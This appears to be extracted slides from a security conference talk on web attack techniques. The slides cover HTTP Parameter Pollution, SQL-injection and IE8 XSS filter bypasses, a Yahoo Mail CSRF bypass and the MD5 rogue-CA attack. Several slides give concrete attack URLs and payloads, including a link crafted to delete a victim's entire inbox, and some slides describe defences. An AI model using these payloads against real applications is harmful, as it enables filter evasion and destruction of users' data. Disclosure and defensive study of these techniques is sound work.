Script Location: /var/www/cgi-bin/dbman/db.cgi
Perl Version: 5.010000
Setup File: default.cfg
Session ID: aaaa---bbbb

Form Variables
- db: default
- uid: aaaa---bbbb

Environment Variables
- DOCUMENT_ROOT: /var/www/
- GATEWAY_INTERFACE: CGI/1.1
What can HPP do?

• Bypass Input Validation
• Bypass Web Application Firewalls
• Manipulate application flow
• Manipulate mod_rewrites
• Force / Spoof cookies
• Manipulate client-side applications
• Modify Web page content
Simple parameter injection example

```java
void private executeBackendRequest(HTTPRequest request) {
    String amount = request.getParameter("amount");
    String beneficiary = request.getParameter("recipient");

    HttpRequest("http://backend.com/servlet/actions","POST",
                "action=transfer&amount=\"+amount+\"&recipient=\"+beneficiary\";
}
```

Malicious URL:
http://target.com/page?amount=1000&recipient=Jeremiah%26action%3dwithdraw

Translates to:
action=transfer&amount=1000&recipient=Jeremiah&action=withdraw

It is possible the attack could work if proper authorization controls are not in place and the application uses the last occurrence of the action parameter (IBM Lotus Domino, PHP / Apache, etc.)
SQL Injection signature-based filter bypass

Basic SQL Injection caught by most negative filters:

/index.aspx?page=select 1,2,3 from table where id=1

Distribute attack payloads across multiple parameters:

/index.aspx?page=select 1&page=2,3 from table where id=1

Depending on the backend system, the application may consolidate the payloads into one payload.

http://tacticalwebappsec.blogspot.com/2009/05/http-parameter-pollution.html
IE8 XSS Filter Bypass

• IE8 checks for XSS regexp in the query string, as well in the Web page output.
• With a .NET application multiple occurrences of a parameter are joined using “,”

\[\text{param} = \text{<script&param=src=""...."">}\]

becomes:

\[\text{<script,src=""..."">}\]
Yahoo Mail Client-Side HPP

Test URL: http://yahoo.com?par=val%26aaaa=aaa

Translates %26 into &: <a href="http://yahoo.com?par=val&aaaa=aaa">View</a>

What if the action was changed: %26action=delete


Use "startMid" as entry point: http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0

Test URL: http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%26aaaa=aaaa

Every link to email within the inbox expands %26 into &: <a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&sMid=0&fid=Inbox&sort=date&order=down&startMid=0&aaaaaa=aaa&filterBy=&rand=1076957714&midIndex=0&mid=1_62389_ALIKDNkAAJELSege6IAQeCc3b%2Fk&f=1">email subject</a>

http://www.youtube.com/watch?v=-O1y7Zy3jfc
CSRF Bypassed

'cmd' parameter used to execute specific action, specifically emptying the trashcan:

\texttt{cmd=fmgt.emptytrash}

Moves every message from a folder to the trashcan and then (if possible) deletes the folder:

\texttt{DEL=1&DelFID=Inbox&cmd=fmgt.delete}

\textit{Every action has CSRF tokens!}

By combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:

\texttt{http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0\%2526cmd=fmgt.emptytrash\%26DEL=1\%26DelFID=Inbox\%26cmd=fmgt.delete}

Send victim this link in a nicely HTML formatted email. When they click on any message in order to read it and then click "Back to messages", they will have every messages deleted forever!

\texttt{http://www.youtube.com/watch?v=-O1v7Zy3ifc}
There was a problem!
Sorry, this folder name is reserved and can't be used for your personal folder.

What's next?
Previous | Next | Back to Messages

- Delete
- Reply
- Forward
- Spam
- Move...

Yahoo! Mail! Check your inbox!
Solutions (some approaches)

Authentication / Authorization Security Controls
Double check controls as different development frameworks and interactions may confuse which parameter value is actually going to be used.

WAF Behavioral Learning & Profiling
Identify if multiple parameters with the same name is normal. If normally there is only one parameter name on the Web page and then URLs appear with multiple identical params names, then alert!

Blacklist / Filter Evasion
OWASP ModSecurity Core Rule Set (CRS) has a new experimental rule set that attempts to mimic the ASP.NET concatenation behavior. When it sees multiple params with the same name, it will concatenate the payloads into a new temporary variable which is then run through the security filters when run in PARANOID_MODE.
Creating a rogue CA certificate

By taking advantage of a weakness in the MD5 hash function ("collision"), the team demonstrated a practical attack that successfully created a rogue Certification Authority (CA) certificate trusted by all common web browsers. These Rogue Certificates allowed an attacker to impersonate any website on the Internet, including banking and e-commerce sites secured using the HTTPS protocol.

Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger

http://www.phreedom.org/research/rogue-ca/
http://www.win.tue.nl/hashclash/rogue-ca/
• CA distributes its root certificate via browser vendors, which reside in a "trust list" on the user's PC.

• Certificates issued by this CA will be trusted by default by the users.

• Website Owner generates an cryptographic public / private key-pair.

• Website Owner creates a Certificate Signing Request (CSR) containing their identity, domain name, and public key.

• CA processes the CSR by validating user identity, domain ownership, and returns a signed SSL certificate.

• Website owner installs private key and certificate on a web server.

• User visits the secure website and asks the Web server for the SSL certificate. If its signature can be verified with the certificate of a CA in the trust list, the website certificate will be accepted.
CAs & MD5

MD5
• Widely used cryptographic hash function
• Known vulnerable to the construction of different messages with the same MD5 sum

Certificate Authorities
Of 30,000 website certificates, 9,000 signed with MD5 97% of those were issued by RapidSSL

CAs still using MD5 in 2008:
RapidSSL, FreeSSL, TrustCenter, RSA Data Security, Thawte, verisign.co.jp
Creating a Rogue CA

- Identify CA using MD5 to sign certificates (Rapid7)
- Generate pair of certificates with colliding to-be-signed parts (SSL certificate & Intermediate CA)
- (1-2 days on a cluster of 200 PlayStation 3s. Equivalent to 8000 desktop CPU cores or $20,000 on Amazon EC2)
- Success on the 4th attempt!
- Total cost of certificates: USD $657

<table>
<thead>
<tr>
<th>Signed Certificate</th>
<th>Intermediate CA</th>
</tr>
</thead>
<tbody>
<tr>
<td>Serial Number</td>
<td>Serial Number</td>
</tr>
<tr>
<td>Validity Period</td>
<td>Validity Period</td>
</tr>
<tr>
<td>Domain Name</td>
<td>Domain Name</td>
</tr>
<tr>
<td>RSA Key</td>
<td>RSA Key</td>
</tr>
<tr>
<td>X.509 extensions</td>
<td>X.509 extensions</td>
</tr>
<tr>
<td>Signature</td>
<td>Signature</td>
</tr>
</tbody>
</table>
Creating a Rogue CA

Attacker

Certificate Authority (CA)

Browser Vendor

User’s PC / Browser

Secure Website

Rogue CA

CA root certificate
Real Website Certificate
Website Certificate
Rogue CA Certificate
Rogue Website Certificate

Rogue Secure Website

Verify
Creating a Rogue CA

Certificate path:
- Equifax Secure Global eBusiness CA-1
- MD5 Collisions Inc. (http://www.phreedom.org/md5)
- 127.0.0.1
Solutions (CAs phasing out MD5)

VeriSign (RapidSSL) “...removed this vulnerability. As of shortly before this posting, the attack laid out this morning in Berlin cannot be successful against any RapidSSL certificate nor any other SSL Certificate that VeriSign sells under any brand.”

“...MD5 is not in use in most VeriSign certificates for most applications, and until this morning our roadmap had us discontinuing the last use of MD5 in our customers' certificates before the end of January, 2009.”

Thawte (01/20/2010) “In a few months, Thawte will be migrating its public root certification authorities from Roots using MD5 hashing algorithm and 1024 –bit RSA keys to Roots using SHA-1 hashing algorithm and 2048-bit RSA keys.”

What did we learn over the last year?

1. Creating a Rogue CA Certificate
2. HTTP Parameter Pollution (HPP)
3. Flickr's API Signature Forgery
4. Cross-domain search timing
5. Slowloris HTTP DoS
6. Microsoft IIS 0-Day Parsing Files
7. Exploiting unexploitable XSS
8. Favorite XSS Filters & How to Attack them
9. RFC1918 Caching Security Issues
10. DNS Rebinding (3-part series)

Systemic weaknesses are prevalent.

Encryption implementation issues are impacting Web security, more so than in years past.

The intranet is very accessible from the outside world.

Many of these new attacks techniques (and from years prior) are not exactly “fixed”, are perhaps unfixable, or the solutions have undesirable consequences.

Bad guys are using at least some of this stuff. Worse, when they do, we have a hard time seeing it with current monitoring technology.

Thank You!

Jeremiah Grossman
Blog: http://jeremiahgrossman.blogspot.com/
Twitter: http://twitter.com/jeremiahg
Email: jeremiah@whitehatsec.com

WhiteHat Security
http://www.whitehatsec.com/